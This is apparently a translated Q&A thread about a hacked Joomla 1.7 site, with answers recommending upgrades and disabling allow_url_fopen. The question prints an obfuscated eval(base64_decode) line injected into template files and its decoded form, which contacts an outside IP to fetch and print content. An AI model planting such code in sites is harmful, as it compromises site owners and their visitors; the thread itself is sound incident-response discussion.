3

我正在运行一个今天被黑的 Joomla 1.7 网站。下面的脚本做了黑客攻击。

eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));

上面的行被注入到我index.php的模板文件夹文件中。文件夹中的每个模板都有上述代码。在每个文件中都重复了几次。

当我解码代码时,它输出

print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI'])); 

我删除了脚本,站点恰好可以正常工作。脚本没有做任何坏事,只是网站根本没有加载。

我的问题是即使我将文件权限设置为 644 并将文件夹权限设置为 755,这怎么会发生?

我怎样才能找出导致问题的原因?我应该采取哪些措施来防止将来发生这种情况?

更新

这个论坛帖子助手/ FPA非常有帮助

4

3 回答 3

2

它不是从您的文件系统读取文件,而是直接从外部 URL 读取。您可以通过 php.ini 设置禁用从 php 中的任何外部 URL 读取:

allow_url_fopen = 0
于 2013-02-20T10:47:25.707 回答
1

怎么样,因为您运行的是 Joomla 1.7 网站?Joomla 1.7 不再受支持,自发布以来,已在 Joomla 中添加了几个安全修复程序。您应该立即升级到 2.5.9。应该没有向后兼容性问题,因为 2.5.9 只是 Joomla 1.7 的长期支持版本。

按照此处的 Joomla 安全检查表中的建议检查您的 PHP 设置。确保您的 PHP 和 MYSQL 版本是最新的(至少 PHP 5.3.x - 最好是 5.4.x 和 MYSQL 至少 5.0.4)。

最后确保您的所有扩展都是最新的。同样,开发人员不断更新模块,不仅是为了添加新功能,而且是为了添加额外/改进的安全性或防止发现的漏洞!

另外请不要像 Steven 所说的那样打开 allow_url_fopen 会导致 Joomla 的一键更新停止正常工作。

于 2013-02-20T11:00:19.913 回答
1

根据您告诉我们的内容,不可能确定黑客入侵的原因,但最可能的原因(几乎可以肯定)是您正在运行某些软件的旧版本,这些软件已知安全漏洞,黑客能够攻击。

  • 检查您的 PHP 版本:如果它低于 v5.3.21 或 v5.4.11(即当前版本),您可能存在安全漏洞。如果它是 v5.2 或更低版本,那么它肯定是易受攻击的(5.2 已经两年不支持了)。如果您的托管服务提供商的 PHP 版本不是最新的,那么您需要麻烦他们来修复它。如果他们不修复它,您需要找到更好的主机。

  • 检查您的 joomla 版本:它是最新的吗?你提到它是 v1.7:这不是最新的 1.7 是一年半前发布的。当前版本为 2.5 和 3.0。这意味着您几乎可以肯定其中存在安全漏洞,这意味着您可能会被黑客入侵。从 1.7 升级到 2.5 可能会很痛苦,但如果你想安全,你必须这样做。

使您的软件保持最新是您在网站上可以做的最重要的事情之一,以确保其安全。这不是可选的:如果您想避免被黑客入侵,您需要保持最新状态,并且您需要不断关注新版本——新的安全漏洞一直在被发现。通常,大多数优质软件在出现新错误时会很快得到修复,但您有责任在您的服务器上安装已修复的版本,否则错误仍然存​​在并且很可能被黑客入侵。

还有其他可能被黑客入侵的方式;让我们不要打折;他们中的大多数都在你的控制之外。保持软件版本更新是您的第一大最佳防御措施。

于 2013-02-20T11:00:49.713 回答